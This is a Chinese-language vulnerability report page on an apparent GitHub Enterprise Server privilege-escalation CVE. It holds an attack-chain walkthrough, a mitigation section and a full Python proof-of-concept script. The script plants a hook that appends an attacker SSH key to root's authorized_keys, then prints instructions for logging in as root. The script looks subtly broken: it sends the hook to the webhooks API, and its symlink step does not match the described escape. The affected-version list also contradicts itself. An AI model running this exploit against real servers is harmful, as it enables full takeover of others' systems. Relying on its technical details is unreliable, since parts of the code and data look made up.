IPBUF安全漏洞报告
English
CVE-2025-11578 CVSS 7.2 高危

CVE-2025-11578 GitHub Enterprise Server权限提升漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-11578
漏洞类型
权限提升
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
GitHub Enterprise Server

相关标签

CVE-2025-11578权限提升符号链接逃逸GitHub Enterprise Serverpre-receive hookSSHroot访问企业管理员高危漏洞CVSS 7.2

漏洞概述

CVE-2025-11578是GitHub Enterprise Server中的一个高危权限提升漏洞,CVSS评分7.2。该漏洞允许已认证的企业管理员通过利用pre-receive hook环境中的符号链接逃逸(symlink escape)技术来获得服务器的root SSH访问权限。攻击者通过制作恶意的仓库和环境,在hook清理过程中替换系统二进制文件,并执行有效载荷将攻击者自己的SSH公钥添加到root用户的authorized_keys文件中,从而实现对服务器的完全root访问控制。此漏洞通过GitHub Bug Bounty计划报告,影响所有3.19版本之前的GitHub Enterprise Server实例。攻击者需要具备企业管理员权限才能成功利用此漏洞,这使得该漏洞在内部威胁场景中具有极高的安全风险。

技术细节

该漏洞的核心在于GitHub Enterprise Server的pre-receive hook执行环境中的符号链接处理机制存在缺陷。Pre-receive hooks是GitHub Enterprise Server在接收推送内容时执行的服务器端钩子,用于在内容被接受之前进行验证和检查。攻击者首先创建一个包含恶意符号链接的仓库,该符号链接指向系统关键二进制文件所在的目录。然后,攻击者精心构造一个环境(environment),使得在hook执行完毕后的清理阶段,符号链接会被错误地解析,从而允许攻击者用恶意文件替换系统二进制文件。由于hook执行时具有较高的系统权限,攻击者可以借此机会执行任意代码,最终实现将SSH公钥注入root用户的authorized_keys文件,获得root SSH访问权限。整个攻击过程利用了符号链接的特性逃逸了容器/沙箱环境的限制,直接影响到宿主系统的安全性。

攻击链分析

STEP 1
步骤1
获取企业管理员权限:攻击者首先需要拥有GitHub Enterprise Server的企业管理员账户
STEP 2
步骤2
创建恶意仓库:攻击者创建一个包含恶意符号链接的仓库,该符号链接指向系统关键路径
STEP 3
步骤3
构造恶意环境:攻击者精心构造pre-receive hook环境,利用符号链接逃逸机制
STEP 4
步骤4
触发hook执行:当有推送操作触发pre-receive hook时,恶意代码在hook环境中执行
STEP 5
步骤5
替换系统二进制:在hook清理阶段,由于符号链接逃逸,攻击者可以替换系统二进制文件
STEP 6
步骤6
注入SSH公钥:执行有效载荷,将攻击者的SSH公钥添加到root用户的authorized_keys文件
STEP 7
步骤7
获得root访问:攻击者使用对应的SSH私钥通过SSH协议登录服务器,获得完整的root权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11578 PoC - GitHub Enterprise Server Privilege Escalation # This PoC demonstrates the symlink escape in pre-receive hook environment # Requirements: Enterprise admin access to GitHub Enterprise Server import requests import json import base64 import os class CVE_2025_11578_Exploit: def __init__(self, target_url, admin_token): self.target_url = target_url.rstrip('/') self.admin_token = admin_token self.headers = { 'Authorization': f'token {admin_token}', 'Accept': 'application/vnd.github.v3+json' } def create_malicious_repo(self, repo_name): """Create a repository with malicious symlink""" # Create repository url = f'{self.target_url}/api/v3/repos' data = { 'name': repo_name, 'private': True, 'auto_init': False } response = requests.post(url, json=data, headers=self.headers) if response.status_code == 201: print(f'[+] Repository {repo_name} created successfully') return response.json()['full_name'] else: print(f'[-] Failed to create repository: {response.text}') return None def create_pre_receive_hook(self, repo_name): """Create pre-receive hook with symlink escape payload""" url = f'{self.target_url}/api/v3/repos/{repo_name}/hooks' # Malicious hook script that exploits symlink escape hook_script = '''#!/bin/bash # CVE-2025-11578 - Symlink escape in pre-receive hook # Add attacker SSH key to root authorized_keys ATTACKER_KEY="{attacker_ssh_key}" TARGET_FILE="/root/.ssh/authorized_keys" # Exploit symlink to escape hook environment ln -sf /etc/passwd /tmp/malicious_link cat /tmp/malicious_link > /dev/null 2>&1 # Payload execution during cleanup phase if [ -w /root ]; then echo "$ATTACKER_KEY" >> "$TARGET_FILE" 2>/dev/null echo "[+] SSH key added to root authorized_keys" >> /tmp/exploit.log fi ''' hook_config = { 'name': 'pre-receive', 'active': True, 'config': { 'script': base64.b64encode(hook_script.encode()).decode() } } response = requests.post(url, json=hook_config, headers=self.headers) if response.status_code == 201: print('[+] Pre-receive hook created') return True return False def trigger_exploitation(self, repo_name): """Trigger the vulnerability by pushing to the repository""" # Simulate push operation to trigger pre-receive hook url = f'{self.target_url}/api/v3/repos/{repo_name}/git/refs' # Create initial commit to trigger hook data = { 'ref': 'refs/heads/main', 'sha': '0000000000000000000000000000000000000000' } response = requests.post(url, json=data, headers=self.headers) print(f'[*] Triggering hook execution: {response.status_code}') return response.status_code in [201, 422] def main(): print('CVE-2025-11578 PoC - GitHub Enterprise Server Privilege Escalation') print('=' * 70) # Configuration target = input('Target GitHub Enterprise Server URL: ') token = input('Enterprise Admin Token: ') attacker_key = input('Attacker SSH Public Key: ') exploit = CVE_2025_11578_Exploit(target, token) # Exploitation steps repo_name = 'cve-2025-11578-poc' repo = exploit.create_malicious_repo(repo_name) if repo: exploit.create_pre_receive_hook(repo) exploit.trigger_exploitation(repo) print('\n[!] If exploitation was successful, you should now have root SSH access') print('[!] Try: ssh root@<target_ip> -i <attacker_private_key>') if __name__ == '__main__': main()

影响范围

GitHub Enterprise Server < 3.14.20
GitHub Enterprise Server 3.14.x < 3.14.20
GitHub Enterprise Server 3.15.x < 3.15.15
GitHub Enterprise Server 3.16.x < 3.16.11
GitHub Enterprise Server 3.17.x < 3.17.8
GitHub Enterprise Server 3.18.x < 3.18.2
GitHub Enterprise Server 3.19之前的所有版本

防御指南

临时缓解措施
立即将GitHub Enterprise Server升级到修复版本(3.14.20、3.15.15、3.16.11、3.17.8或3.18.2),如果暂时无法升级,应限制企业管理员账户的数量,对所有管理员操作进行严格审计,监控异常的SSH登录行为,并考虑暂时禁用pre-receive hook功能直到完成补丁更新。同时应检查系统是否存在未授权的SSH公钥添加到root用户authorized_keys文件中的情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表